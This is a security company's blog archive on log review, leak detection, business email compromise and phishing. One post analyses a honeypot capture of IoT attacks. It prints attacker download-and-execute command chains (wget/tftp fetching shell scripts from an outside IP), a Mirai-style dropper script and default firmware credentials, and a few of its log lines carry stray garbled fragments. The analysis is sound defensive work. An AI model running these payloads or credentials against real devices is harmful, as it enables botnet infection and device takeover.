Category Archives: Detection in Depth

How often should security logs be reviewed?

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Security logs are one of the most important components of any security program. They provide insight into how well your security program is working, and they serve as a valuable source of intelligence for incident response. However, they are not perfect; they can contain false positives and false negatives. As a result, they need to be reviewed regularly to ensure they are providing accurate information.

There are two main reasons why security log reviews are necessary. First, they allow you to identify problems before they become serious incidents. Second, they allow you to determine whether your current security measures are effective.

When reviewing logs, look for three things:

1. Incidents – These are events that indicate something has gone wrong. For example, a firewall blocking access to a website, or a virus scanning software alerting you to a malware infection.

2. False Positives – These are alerts that don’t represent anything actually happening. For example, a virus scanner warning you about a file that was downloaded from the Internet without any infection identified.

3. False Negatives – These are alerts that do represent something actually happening, but were missed because of a flaw in the system. For example, a server being accessed remotely, but no alarms raised.

Reviewing logs every day is recommended. If you review logs daily, you will catch issues sooner and prevent them from becoming major incidents. This should be done on a rotating basis by the security team to prevent fatigue from diminishing the quality of the work, or via automated methods to reduce fatigue.

Peer reviewing logs weekly is also recommended. It allows you to spot trends and anomalies that might otherwise go unnoticed by a single reviewer. It also gives a second set of eyes on the logs, and helps guard against fatigue or bias-based errors.

Finally, aggregated trend-based monthly reviews are recommended. This gives you a chance to look back and see if there have been any changes to your environment that could affect your security posture or represent anomalies. This is a good place to review items like logged events per day, per system, trends on specific log events and the like. Anomalies should be investigated. Often times, this level of log review is great for spotting changes to the environment or threat intelligence.

If you want to learn more about how to conduct log reviews effectively, reach out to us at info@microsolved.com. We’re happy to help!

How long should security logs be kept?

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Security logs are a great source of information for incident response, forensics, and compliance purposes. However, log retention policies vary widely among organizations. Some keep logs indefinitely; others only retain them for a certain period of time. Logging practices can impact how much useful information is available after a compromise has occurred.

In general, the longer logs are retained, the better. But, there are several factors to consider when determining how long to keep logs. These include:

• What type of system is being monitored?

• Is the system mission-critical?

• Are there any legal requirements regarding retention of logs?

• Does the company have a policy regarding retention of logs? If so, does it match industry standards?

• How often do incidents occur?

• How many employees are affected by each incident?

• How many incidents are reported?

• How many hours per day are logs collected?

• How many days per week are logs collected?

It is important to understand the business needs before deciding on a retention policy. For example, if a company has a policy of retaining logs for 90 days, then it is reasonable to assume that 90 days is sufficient for the majority of situations. However, if a company has no retention policy, then it is possible that the logs could be lost forever.

Logs are one of the most valuable sources of information during an investigation. It is important to ensure that the right people have access to the logs and that they are stored securely. In addition, it is important to know how long logs need to be kept.

MicroSolved provides a number of services related to logging and monitoring. We can help you create logging policies and practices, as well as design log monitoring solutions. Drop us a line at info@microsolved.com if you’d like to discuss logging and logging solutions.

What should be in a security log?

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Logging is one of the most important aspects of any security program. It provides a record of events that occur within your environment, which allows you to understand how your systems are being used and what vulnerabilities exist. Logging helps you identify issues before they become problems, and it gives you insight into what happened after the fact.

There are many different types of logs, each with its own purpose. Some logs are designed to provide information about system activity, while others are intended to capture information about network traffic or application behavior. There are also different levels of logging, ranging from basic records of actions taken by applications, to detailed records of every event that occurs during the execution of an application.

In general, the more detail you can include in your logs, the better. For instance, if you’re looking for evidence of a compromise, you’ll need to look for signs of unauthorized access to your systems. A log entry that includes details about the IP addresses involved in the request will allow you to correlate the requests with the users making them. Similarly, if you’re trying to determine whether a particular file was accessed by someone else, you’ll need to examine the contents of the log entries associated with that file.

As you consider what type of logs to create, keep in mind that not all logs are created equal. In addition, not all logs are equally useful. For example, a log of HTTP requests might be helpful in determining whether a web server has been compromised, but it won’t tell you much about the nature of the threat. On the other hand, a log of failed login attempts could indicate that a malicious actor is attempting to gain access to your systems.

The best way to decide what kind of logs to create is to think about the specific threats you face and the kinds of information you want to collect. If you’re concerned about a particular type of threat, such as phishing emails, then you’ll probably want to track email messages sent to your domain. If you’re worried about malware infections, you’ll likely want to monitor the activities of your users’ computers.

In general, as a minimum, make sure the elements of the common logging format are included and build from there. If you need assistance with log design or help determining and implementing a logging strategy, drop us a line at info@microsolved.com. We’re happy to help! 

3 Quick Thoughts for Small Utilities and Co-Ops

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Recently I was asked to help some very small utilities and co-ops come up with some low cost/free ideas around detection. The group was very nice about explaining their issues, and here is a quick summary of some of the ideas we discussed.

1) Dump external router, firewall, AD and any remote access logs weekly to text and use simple parsers in python/perl or shell script to identify any high risk issues. Sure, this isn’t the same as having robust log monitoring tools (which none of these folks had), but even if you detect something really awful a week after it happens, you will still be ahead of the average curve of attackers having access for a month or more. You can build your scripts using some basis analytics, they will get better over time, and here are some ideas to get you started. You don’t need a lot of money to quickly handle dumped logs. Do the basics and improve.

2) Take advantage of cheap hardware, like the Raspberry Pi for easy to learn/use Linux boxes for scripting, log parsing or setting up cron jobs to automate tasks. For less than 50 bucks, you can have a powerful machine to do a lot of work for you and serve as a monitoring platform for a variety of tools. The group was all tied up in getting budget to buy server and workstation hardware – but had never taken the Pi seriously as a work platform. It’s mature enough to do a lot of non-mission critical (and some very important) work. It’s fantastic if you’re looking for a quick and dirty way to gain some Linux capabilities in confined Windows world.

3) One of the best bang for the buck services we have at MSI is device configuration reviews. For significantly less money than a penetration test, we can review your external routers, firewall and VPN for configuration issues, improper rules/ACLs and insecure settings. If you combine this with an exercise like attack surface mapping and threat modeling, you can get a significant amount of insight without resorting to (and paying for) vulnerability assessments and penetration testing. Sure, the data might not be as granular, and we still have to do some level of port scanning and service ID, but we have a variety of safe ways to do that work – and you get some great information. You can then make risk-based decisions about the data and decide what you want to act on and pay attention to. If your budget is tight – get in touch and discuss this approach with us.

I love to talk with utilities and especially smaller organizations that want to do the right thing, but might face budget constraints. If they’re willing to have an open, honest conversation, I am more than willing to get creative and engage to help them solve problems within their needs. We’d rather get creative and solve an issue to protect the infrastructure than have them get compromised by threat actors looking to do harm.

If you want to discuss this or any security or risk management issue, get in touch here.  

Detecting Info Leaks with ClawBack

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Clawback smallClawBack Is Purpose Built to Detect Info Leaks

ClawBack is MicroSolved’s cloud-based SaaS solution for performing info leak detection. We built the tool because we worked so many incidents and breaches related to three common types of info leaks:

  • Leaked Credentials – this is so common that it lies at the root of thousands of incidents over the last several years, attackers harvest stolen and leaked logins and passwords and use them anywhere they think they can gain access – this is so common, it is even categorized by OWASP as a specific form of attack: credential stuffing 
  • Leaked Configurations – attackers love to comb through leaked device and application configuration files for credentials, of course, but also for details about the network or app environment, sensitive data locations, cryptographic secrets and network management information they can use to gain control or access
  • Leaked Code – leaked source code is a huge boon for attackers; often leaking sensitive intellectual property that they can sell on the dark web to your competitors or parse for vulnerabilities in your environment or products

MicroSolved knows how damaging these info leaks can be to organizations, no matter the type. That’s exactly why we built ClawBack to provide ongoing monitoring for the info leak terms that matter most to you.

How to Get Started Detecting Info Leaks

Putting ClawBack to work for you is incredibly easy. Most customers are up and monitoring for info leaks within 5 minutes.

There is no hardware, software, appliance or agent to deploy. The browser-based interface is simple to use, yet flexible enough to meet the challenges of the modern web. 

First, get a feel for some terms that you would like to monitor that are unique to your organization. Good examples might be unique user names, application names, server names, internal code libraries, IP address ranges, SNMP community strings, the first few hex characters of certificates or encryption keys, etc. Anything that is unique to your organization or at the very least, uncommon. 

Next, register for a ClawBack account by clicking here.

Once your account is created, and you follow the steps to validate it, you can login to the ClawBack application. Here, you will be able to choose the level of subscription that you would like, picking from the three different service levels available. You will also be able to input your payment information and set up additional team members to use the application, if available at your subscription level. 

Next, click on Monitoring Terms and input the terms that you identified in the first step. ClawBack will immediately go and search for any info leaks related to your terms as you put them in. Additionally, ClawBack will continually monitor for the terms going forward and provide alerts for any info leaks that appear in the common locations around the web. 

How To View Any Info Leaks

Reviewing any info leaks found is easy, as well. Simply click on Alerts on the top menu. Here, your alerts will be displayed, in a sortable list. The list contains a summary of each identified leak, the term it matched and the location of the leak. You can click on the alert to view the identified page. Once reviewed, you can archive the alert, where it will remain in the system and is visible in your archive, or you can mark it as a false positive, and it will be removed from your dataset but ClawBack will remember the leak and won’t alert you again for that specific URL. 

If you have access to the export function, based on your subscription level, you can also so export alerts to a CSV file for uploading into SIEM/SOAR tools or ticketing systems. It’s that easy! 

You can find a more specific walkthrough for finding code leaks here, along with some screen shots of the product in action.

You can learn more about ClawBack and view some use case videos and demo videos at the ClawBack homepage.

Give ClawBack a try today and you can put your worries to rest that unknown info leaks might be out there doing damage to your organization. It’s so easy, so affordable and so powerful that it makes worries about info leaks obsolete.

Introducing ClawBack :: Data Leak Detection Powered By MicroSolved

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Cb 10We’ve worked with our clients and partners to put together a world-class data leak detection platform that is so easy to use that most security teams have it up and running in less than five minutes. No hardware appliance or software agent to deploy, no console to manage and, best of all, affordable for organizations of any size.

In short, ClawBack is data leak detection done right.

There’s a lot more to the story, and that’s why we put together this short (3 minute) video to describe ClawBack, its capabilities and why we created it. Once you check it out, we think you’ll see just how ClawBack fits the mission of MSI to make the online world safer for all of us.

View the video here.

You can also learn a lot more about ClawBack, its use cases and some of the ways we hope it can help you here. On that page, you can also find pricing for three different levels of service, more videos walking you through how to sign up and a video demo of the platform.

Lastly, if you’d like to just get started, you can visit the ClawBack Portal, and select Register to sign up and put ClawBack to work immediately on providing detection for your leaked data.

In the coming weeks, we’ll be talking more about what drove us to develop ClawBack, the success stories we’ve had just while building and testing the platform, and provide some more specifics about how to make the most of ClawBack’s capabilities. In the meantime, thanks for reading, check it out and if you have any questions, drop us a line.

State Of Security Podcast Episode 15 is out!

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In this episode, the tables get turned on me and I become the one being interviewed. The focus is on honeypots, intrusion deception and bounces from technology to industry and to overall trends.

This is a great conversation with an amazing young man, Vale Tolpegin, a student from Georgia Tech with an amazing style and a fantastic set of insights. He really asks some great questions and clarifying follow ups. This young man has a bright future ahead!

Tune in and check it out! Let me know on Twitter (@lbhuston) what you liked, hated or what stuck with you.

How to Respond – BEC Series #5

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A few weeks ago, we published the Business Email Compromise (BEC) Checklist. The question arose – what if you’re new to security, or your security program isn’t very mature?

Since the checklist is based on the NIST model, there’s a lot of information here to help your security program mature, as well as to help you mature as a security practitioner. MSI’s engineers have discussed a few ways to leverage the checklist as a growth mechanism.

Part 1 and Part 2 covered the first checkpoint in the list – Identify. Part 3 covered the next checkpoint – Protect. Part 4 continued the series – Detect.

Now we’ll move along to one of the most important parts of the checklist – Respond.

Continue reading →

Beyond the firewall – 4 hours of recorded attacks against IOT devices

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The graph below shows a distribution, by country, of the attacks seen by a laptop exposed to the open Internet for 4 hours on July 23, 2017.  TCP 23 (telnet) and TCP 1433 (MSSQL) were exposed and attack payloads directed against those services were recorded by honeypots running on those ports. All attacks are listed below together with a discussion of two particular IOT (Internet of Things)  attacks.

The laptop exposure was inadvertent and possibly related to Universal Plug and Play (UPNP) being enabled on the home router.  The laptop happened to be running an HPSS honeypoint agent with fake listeners on several common service ports. The agents send alerts to a central console that records information about the attack in a database and optionally writes to a log.  Those log entries are provided at the end of this post.

Here’s the net message:

Attacks against unsecured IOT devices are a reality – and they are happening right at the Internet boundary of your own home or business.

Do you have an IP-enabled home video camera or similar device?  See if it is on this list of devices known to be attacked:

https://krebsonsecurity.com/2016/10/who-makes-the-iot-things-under-attack/

Note that events similar to those described below can – and do – happen within the firewall. See our previous post on the use of honeypots to detect the spread of malware within the private internal space of an organization.

If you are not already using some form of honeypot as part of your IDS strategy, consider doing so. They are normally quiet watchdogs – but when they do bark, there really is something going on you need to know about.

==> Oh.. and UPNP?  If that’s enabled on your home router, TURN IT OFF!

Netgear: http://netgear-us.custhelp.com/app/answers/detail/a_id/22686/~/how-to-disable-the-upnp-feature-on-your-netgear-router

Linksys: https://www.linksys.com/us/support-article?articleNum=135071

ASUS:  https://www.ghacks.net/2015/03/24/secure-you-wireless-router/

Here are the details of the attacks seen during that 4-hour window:

The sources of attacks were diverse by country of origin. The attacking systems were almost certainly compromised systems being used by the attackers without the owners awareness, although state-sponsored activity cannot be ruled out.

  • Here is one item of interest:

Jul 23 19:42: hpoint-2371 received an alert from: 1.30.116.116 on port 23 at 2017-08-06 19:43:02 Alert Data: sh#015#012cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/heckz.sh; chmod 777 heckz.sh; sh heckz.sh; tftp 185.165.29.111 -c get troute1.sh; chmod 777 troute1.sh; sh troute1.sh; tftp -r troute2.sh -g 185.165.29.111; chmod 777 troute2.sh; sh troute2.sh; ftpget -v -u anonymous -p anonymous -P 21 185.165.29.111 troute.sh troute.sh; sh troute.sh; rm -rf heckz.sh troute.sh troute1.sh troute2.sh; rm -rf *#015

  • The attacker IP (1.30.116.116 ) is registered in China/Mongolia.

inetnum: 1.24.0.0 – 1.31.255.255
netname: UNICOM-NM
descr: China unicom InnerMongolia province network

  • The attacker is attempting to cause the targeted victim machine to download and execute a shell script

wget http://185.165.29.111/heckz.sh; chmod 777 heckz.sh; sh heckz.sh;

  • 185.165.29.111 – the source of the script – is an IP associated with Germany.

inetnum: 185.165.29.0 – 185.165.29.255
netname: AlmasHosting
country: DE

  • The few IP’s with reverse DNS in that /24 are associated with Iran (.ir domain).

host.mlsending.ir (185.165.29.58)
host.mlsender.ir (185.165.29.59)
host.madstoreml.ir (185.165.29.80)

  • Heckz.sh is associated with known malware

https://virustotal.com/en/file/5a5183c1f5fdab92e15f64f18c15a390717e313a9f049cd9de4fbb3f3adc4008/analysis/

  • The shell script – if successfully downloaded and executed , runs

#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/mba; chmod +x mba; ./mba; rm -rf mba
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/ebs; chmod +x ebs; ./ebs; rm -rf ebs
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/ew; chmod +x ew; ./ew; rm -rf ew
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/aw; chmod +x aw; ./aw; rm -rf aw
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/ftr; chmod +x ftr; ./ftr; rm -rf ftr
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/er; chmod +x er; ./er; rm -rf er
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/re; chmod +x re; ./re; rm -rf re
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/ty; chmod +x ty; ./ty; rm -rf ty
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/ke; chmod +x ke; ./ke; rm -rf ke
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/as; chmod +x as; ./as; rm -rf as
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/fg; chmod +x fg; ./fg; rm -rf fg
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/sddf; chmod +x sddf; ./sddf; rm -rf sddf
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/tel; chmod +x tel; ./tel; rm -rf tel

  • The “ew” program is known malware…..

https://virustotal.com/en/file/9685eeef4b7b25871f162d0050c9a9addbcba1df464e25cf3dce66f5653ebeca/analysis/

  • …and likely is associated with a variant of this botnet’s infrastructure:

https://en.wikipedia.org/wiki/Mirai_(malware)

  • Here’s another entry of interest

Jul 23 21:12: hpoint-2371 received an alert from: 217.107.124.39 on port 23 at 2017-08-06 21:12:57 Alert Data: root#015#012xc3511#015#012enable#015#012system#015#012shell#015#012sh#015

  • On the central console this shows as:

  • This is an attempted attack against a specific Chinese vendor’s (XiongMai Technologies) firmware using a login/password that is embedded in that firmware

https://krebsonsecurity.com/2016/10/europe-to-push-new-security-rules-amid-iot-mess/

Summary:

An unfortunate event, for sure. Still, the presence of honeypots on the targeted machine allowed us to capture real-world attack data and learn something of the reality of life beyond the firewall.  The Mirai botnet malware – and its variants – go from being something read about to something actually seen.

Always useful for understanding threats and planning meaningful defense.

The data:

Here are the raw log entries of attacks seen over the 4 hour exposure interval. The ones discussed above and some others of interest in bold.

Jul 23 19:42: hpoint-2371 received an alert from: 1.30.116.116 on port 23 at 2017-08-06 19:42:47 Alert Data: Connection Received
Jul 23 19:42: hpoint-2371 received an alert from: 1.30.116.116 on port 23 at 2017-08-06 19:43:02 Alert Data: sh#015#012cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/heckz.sh; chmod 777 heckz.sh; sh heckz.sh; tftp 185.165.29.111 -c get troute1.sh; chmod 777 troute1.sh; sh troute1.sh; tftp -r troute2.sh -g 185.165.29.111; chmod 777 troute2.sh; sh troute2.sh; ftpget -v -u anonymous -p anonymous -P 21 185.165.29.111 troute.sh troute.sh; sh troute.sh; rm -rf heckz.sh troute.sh troute1.sh troute2.sh; rm -rf *#015
Jul 23 19:43: hpoint-2371 received an alert from: 222.174.243.134 on port 1433 at 2017-08-06 19:43:55 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 19:43: hpoint-2371 received an alert from: 222.174.243.134 on port 1433 at 2017-08-06 19:43:56 Alert Data: Connection Received
Jul 23 19:45: hpoint-2371 received an alert from: 222.174.243.134 on port 1433 at 2017-08-06 19:45:36 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 19:46: hpoint-2371 received an alert from: 38.133.25.167 on port 23 at 2017-08-06 19:46:42 Alert Data: Connection Received
Jul 23 19:49: hpoint-2371 received an alert from: 110.81.178.253 on port 1433 at 2017-08-06 19:49:28 Alert Data: Connection Received
Jul 23 19:49: hpoint-2371 received an alert from: 110.81.178.253 on port 1433 at 2017-08-06 19:49:38 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 19:49: hpoint-2371 received an alert from: 110.81.178.253 on port 1433 at 2017-08-06 19:49:39 Alert Data: Connection Received
Jul 23 19:49: hpoint-2371 received an alert from: 110.81.178.253 on port 1433 at 2017-08-06 19:49:50 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 19:57: hpoint-2371 received an alert from: 70.79.76.209 on port 23 at 2017-08-06 19:57:21 Alert Data: Connection Received
Jul 23 20:00: hpoint-2371 received an alert from: 222.96.190.71 on port 23 at 2017-08-06 20:00:04 Alert Data: Connection Received
Jul 23 20:03: hpoint-2371 received an alert from: 76.122.32.157 on port 23 at 2017-08-06 20:03:34 Alert Data: Connection ReceivedASUS:
Jul 23 20:03: hpoint-2371 received an alert from: 76.122.32.157 on port 23 at 2017-08-06 20:03:34 Alert Data: Connection Received
Jul 23 20:03: hpoint-2371 received an alert from: 76.122.32.157 on port 23 at 2017-08-06 20:03:53 Alert Data: root#015#01212345#015#012enable#015
Jul 23 20:03: hpoint-2371 received an alert from: 76.122.32.157 on port 23 at 2017-08-06 20:03:56 Alert Data: root#015#01212345#015#012enable#015
Jul 23 20:08: hpoint-2371 received an alert from: 114.234.164.43 on port 23 at 2017-08-06 20:08:22 Alert Data: Connection Received
Jul 23 20:08: hpoint-2371 received an alert from: 114.234.164.43 on port 23 at 2017-08-06 20:08:44 Alert Data: root#015#012zlxx.#015#012enable#015
Jul 23 20:20: hpoint-2371 received an alert from: 210.51.166.39 on port 1433 at 2017-08-06 20:20:05 Alert Data: Connection Received
Jul 23 20:20: hpoint-2371 received an alert from: 210.51.166.39 on port 1433 at 2017-08-06 20:20:15 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 20:20: hpoint-2371 received an alert from: 210.51.166.39 on port 1433 at 2017-08-06 20:20:16 Alert Data: Connection Received
Jul 23 20:20: hpoint-2371 received an alert from: 210.51.166.39 on port 1433 at 2017-08-06 20:20:26 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 20:46: hpoint-2371 received an alert from: 103.253.183.107 on port 23 at 2017-08-06 20:46:31 Alert Data: Connection Received
Jul 23 20:48: hpoint-2371 received an alert from: 119.186.47.97 on port 23 at 2017-08-06 20:48:00 Alert Data: Connection Received
Jul 23 20:50: hpoint-2371 received an alert from: 218.64.120.62 on port 1433 at 2017-08-06 20:50:15 Alert Data: Connection Received
Jul 23 20:50: hpoint-2371 received an alert from: 218.64.120.62 on port 1433 at ASUS:2017-08-06 20:50:26 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 20:50: hpoint-2371 received an alert from: 218.64.120.62 on port 1433 at 2017-08-06 20:50:26 Alert Data: Connection Received
Jul 23 20:50: hpoint-2371 received an alert from: 218.64.120.62 on port 1433 at 2017-08-06 20:50:37 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 21:07: hpoint-2371 received an alert from: 113.53.91.152 on port 23 at 2017-08-06 21:07:14 Alert Data: Connection Received
Jul 23 21:12: hpoint-2371 received an alert from: 192.249.135.180 on port 23 at 2017-08-06 21:12:15 Alert Data: Connection Received
Jul 23 21:12: hpoint-2371 received an alert from: 217.107.124.39 on port 23 at 2017-08-06 21:12:53 Alert Data: Connection Received
Jul 23 21:12: hpoint-2371 received an alert from: 217.107.124.39 on port 23 at 2017-08-06 21:12:57 Alert Data: root#015#012xc3511#015#012enable#015#012system#015#012shell#015#012sh#015
Jul 23 21:17: hpoint-2371 received an alert from: 177.7.234.203 on port 23 at 2017-08-06 21:17:51 Alert Data: Connection Received
Jul 23 21:18: hpoint-2371 received an alert from: 177.7.234.203 on port 23 at 2017-08-06 21:18:12 Alert Data: root#015#01212345#015#012enable#015
Jul 23 21:51: hpoint-2371 received an alert from: 85.56.128.151 on port 23 at 2017-08-06 21:51:06 Alert Data: Connection Received
Jul 23 21:54: hpoint-2371 received an alert from: 24.212.74.182 on port 23 at 2017-08-06 21:54:45 Alert Data: Connection Received
Jul 23 22:03: hpoint-2371 received an alert from: 200.101.92.79 on port 23 at 2017-08-06 22:03:35 Alert Data: Connection Received
Jul 23 22:03: hpoint-2371 received an alert from: 200.101.92.79 on port 23 at 2017-08-06 22:03:58 Alert Data: guest#015#01212345#015#012enable#015
Jul 23 22:11: hpoint-2371 received an alert from: 60.171.201.182 on port 1433 at 2017-08-06 22:11:48 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 22:11: hpoint-2371 received an alert from: 60.171.here’s the b201.182 on port 1433 at 2017-08-06 22:11:48 Alert Data: Connection Received
Jul 23 22:11: hpoint-2371 received an alert from: 60.171.201.182 on port 1433 at 2017-08-06 22:11:59 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 22:20: hpoint-2371 received an alert from: 31.163.178.165 on port 23 at 2017-08-06 22:20:07 Alert Data: guest#015#012guest#015#012enable#015
Jul 23 22:27: hpoint-2371 received an alert from: 91.122.218.139 on port 23 at 2017-08-06 22:27:09 Alert Data: Connection Received
Jul 23 22:35: hpoint-2371 received an alert from: 114.101.1.80 on port 23 at 2017-08-06 22:35:53 Alert Data: Connection Received
Jul 23 22:36: hpoint-2371 received an alert from: 114.101.1.80 on port 23 at 2017-08-06 22:36:22 Alert Data: Connection Received
Jul 23 22:36: hpoint-2371 received an alert from: 114.101.1.80 on port 23 at 2017-08-06 22:36:39 Alert Data: root#015#012xc3511#015#012enable#015#012system#015#012shell#015#012sh#015
Jul 23 22:43: hpoint-2371 received an alert from: 41.231.53.51 on port 1433 at 2017-08-06 22:43:17 Alert Data: Connection Received
Jul 23 22:43: hpoint-2371 received an alert from: 41.231.53.51 on port 1433 at 2017-08-06 22:43:28 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 22:43: hpoint-2371 received an alert from: 41.231.53.51 on port 1433 at 2017-08-06 22:43:28 Alert Data: Connection Received
Jul 23 22:43: hpoint-2371 received an alert from: 41.231.53.51 on port 1433 at 2017-08-06 22:43:39 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 22:53: hpoint-2371 received an alert from: 187.160.67.74 on port 23 at 2017-08-06 22:53:36 Alert Data: Connection Received
Jul 23 22:54: hpoint-2371 received an alert from: 187.160.67.74 on port 23 at 2017-08-06 22:54:09 Alert Data: enable#015#012system#015#012shell#015#012sh#015#012cat /proc/mounts; /bin/busybox JBQVI#015
Jul 23 22:54: hpoint-2371 received an alert from: 36.239.158.149 on port 23 at 2017-08-06 22:54:19 Alert Data: Connection Received
Jul 23 22:54: hpoint-2371 received an alert from: 36.239.158.149 on port 23 at 2017-08-06 22:54:41 Alert Data: root#015#01212345#015#012enable#015
Jul 23 22:57: hpoint-2371 received an alert from: 70.89.64.58 on port 23 at 2017-08-06 22:57:35 Alert Data: Connection Received
Jul 23 22:57: hpoint-2371 received an alert from: 70.89.64.58 on port 23 at 2017-08-06 22:57:57 Alert Data: root#015#012xc3511#015#012enable#015
Jul 23 23:02: hpoint-2371 received an alert from: 97.107.83.42 on port 23 at 2017-08-06 23:02:28 Alert Data: Connection Received
Jul 23 23:02: hpoint-2371 received an alert from: 1.30.218.39 on port 1433 at 2017-08-06 23:02:30 Alert Data: Connection Received
Jul 23 23:02: hpoint-2371 received an alert from: 1.30.218.39 on port 1433 at 2017-08-06 23:02:40 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 23:02: hpoint-2371 received an alert from: 1.30.218.39 on port 1433 at 2017-08-06 23:02:44 Alert Data: Connection Received
Jul 23 23:19: hpoint-2371 received an alert from: 54.145.111.48 on port 443 at 2017-08-06 23:19:20 Alert Data: Connection Received
Jul 23 23:19: hpoint-2371 received an alert from: 54.145.111.48 on port 443 at 2017-08-06 ASUS:23:19:23 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 23:23: hpoint-2371 received an alert from: 109.96.99.66 on port 23 at 2017-08-06 23:23:37 Alert Data: Connection Received

Verifying links before you get phished

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Your Mom sends a funny cat video link on YouTube. Your department head sends a link for the training schedule. There’s an email in your Inbox from Amazon for a laptop sale.

Always think twice before clicking on any of those links. Is that email really from Mom or the department head or Amazon? Even if it was really from Mom’s account, is that link really for a cat video on YouTube? Her account, could have been compromised, and the email sent with an obfuscated link.

Phishing works

Phishing campaigns are effective; estimates range from 60 to 90% of all email is a phishing message. MicroSolved’s social engineering exercises have yielded from 11 to 43% success – success meaning recipients have clicked on the benign links in our phishing exercises for clients with their employees. Estimates average 30% of phishing links are clicked.

Obfuscated URL in an Email

So, never click on a link in an email. OK, that may be a little absolute. Only be certain that the link is what you expect it to be. Hover over the link and either a popup or in the status bar of your email client/browser will display the URL. Verify the domain in the link is valid. Simple link obfuscation techniques such as registering a domain named yuotube.com (note the spelling) is an easy phishing and effective trick.

Another trick is hiding the URL behind friendly text, for example, click here. This technique could easily have been used to create a link = stateofsecurity.com – but the the link actually browses to MicroSolved’s home page.

Image links are not immune. That Amazon logo in the email – does that really link to amazon.com? Hover over the link to verify the URL before you click on it. Or better yet, open your browser, type amazon.com in the address bar, then search for and browse to the laptop sale. By the way, don’t browse to yuotube.com, just take my word for it.

Similarly, while browsing or surfing the web, it is always good practice to verify links before you actually click on them. Hover and verify.

Check that browser address bar

So, now that you’ve clicked on that link and landed on the destination web page, are you sure that’s chase.com’s login page? Before you enter your bank account login credentials, check out the URL in the address bar. Make sure it’s https. Any URL that requires you to enter some identification should be over the encrypted protocol, https.

Next, just because the URL has chase.com within it, does not make it a valid chase.com page. Check out the two images below; phishers often trick their victims by obfuscating a URL with a string of an expected valid domain name in the URL:

Note that chase.com is part of the URL, but the login.html page is actually in the badbaddomain.com. The attackers are counting on users to notice the “chase.com” in the URL and click on their link. Once clicked, the user is to taken to a rogue web server with a login page that mimics the real login page for the bank. If the user continues with typing in their authentication credentials, the trap  has sprung – the rogue server has saved the user’s credentials, and the bank account will soon be drained of its funds. Often, after the user enters the credentials, they may be redirected to a valid 404 error page in the user’s bank server, and the user imay be a little confused but unaware that they’ve just given away their credentials.

Current browsers have a feature to help users pick out the actual domain name from the URL – in the top image, the Firefox address bar displays the domain name part of the URL in black font, and everything else in a gray colored font. This is the default behavior; the setting can be changed for the entire URL be the same color format.

Not all browsers display the URL in such a way, Chrome displays the same obfuscated URL as below; the domain and subdomains part of the URL are in black font and the sub-directories and page resource are in grey font:

Shortened URLs

Shortened URLs have become much more popular because of Twitter – it’s a method of reducing a long (regular) URL into a shortened version of usually 10-20 characters. However, because of the condensed URL, it’s not possible to determine the actual address of the link. In this case, it would be wise to copy the shortened URL and validate it with a URL expander website, such as checkshorturl.com or unfurlr.com or unshorten.it.

It’s a minefield out there. Attackers are constantly phishing for their next victim. Be vigilant, beware of what you click, surf safe.

Sources:

https://blog.barkly.com/phishing-statistics-2016